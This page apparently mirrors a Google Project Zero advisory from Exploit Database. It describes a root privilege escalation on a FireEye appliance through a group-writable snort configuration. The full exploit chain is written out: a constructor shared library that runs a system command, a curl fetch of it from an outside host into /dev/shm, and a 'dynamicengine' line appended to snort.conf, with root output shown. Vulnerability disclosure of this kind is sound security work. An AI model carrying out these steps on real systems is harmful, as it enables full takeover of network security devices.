FireEye – Malware Input Processor Privilege Escalation

• Exploit Database
• 12 阅读

• 作者： Google Security Research
  日期： 2016-03-28
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39628/

• Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=670
  
  The mip user is already quite privileged, capable of accessing sensitive network data. However, as the child process has supplementary gid contents, there is a very simple privilege escalation to root. This is because the snort configuration is writable by that group:
  
  $ ls -l /data/snort/config/snort.conf
  -rw-rw-r-- 1 fenet contents 1332 Dec2 18:02 /data/snort/config/snort.conf
  
  This can be exploited by placing a shared library in a writable directory that is mounted with the “exec” option, and appending a “dynamicengine” directive to the snort configuration.
  
  # mount | grep -v noexec | grep rw 
  ...
  /dev/sda8 on /var type ext4 (rw,noatime)
  /dev/sda11 on /data type ext4 (rw,noatime)
  /dev/sda9 on /data/db type ext4 (rw,noatime,barrier=0)
  tmpfs on /dev/shm type tmpfs (rw)
  
  It looks like /dev/shm is a good candidate for storing a shared library.
  
  First, I create and compile a shared library on my workstation, as there is no compiler available on the FireEye appliance:
  
  $ cat test.c 
  void __attribute__((constructor)) init(void)
  {
  system("/usr/bin/id > /tmp/output.txt");
  }
  $ gcc test.c -shared -s -fPIC -o test.so
  
  Now fetch that object on the FireEye machine, and instruct snort to load it:
  
  fireeye$ curl http://example.com/test.so > /dev/shm/test.so
  fireeye$ printf “dynamicengine /dev/shm/test.so\n” >> /data/snort/config/snort.conf
  
  The snort process is regularly restarted to process new rules, so simply wait for the snort process to respawn, and verify we were able to execute commands as root:
  
  fireeye$ cat /tmp/output.txt 
  uid=0(admin) gid=0(root) groups=0(root)
  
  And now we’re root, with complete control of the FireEye machine. We can load a rootkit, persist across reboots or factory resets, inspect or modify traffic, or perform any other action.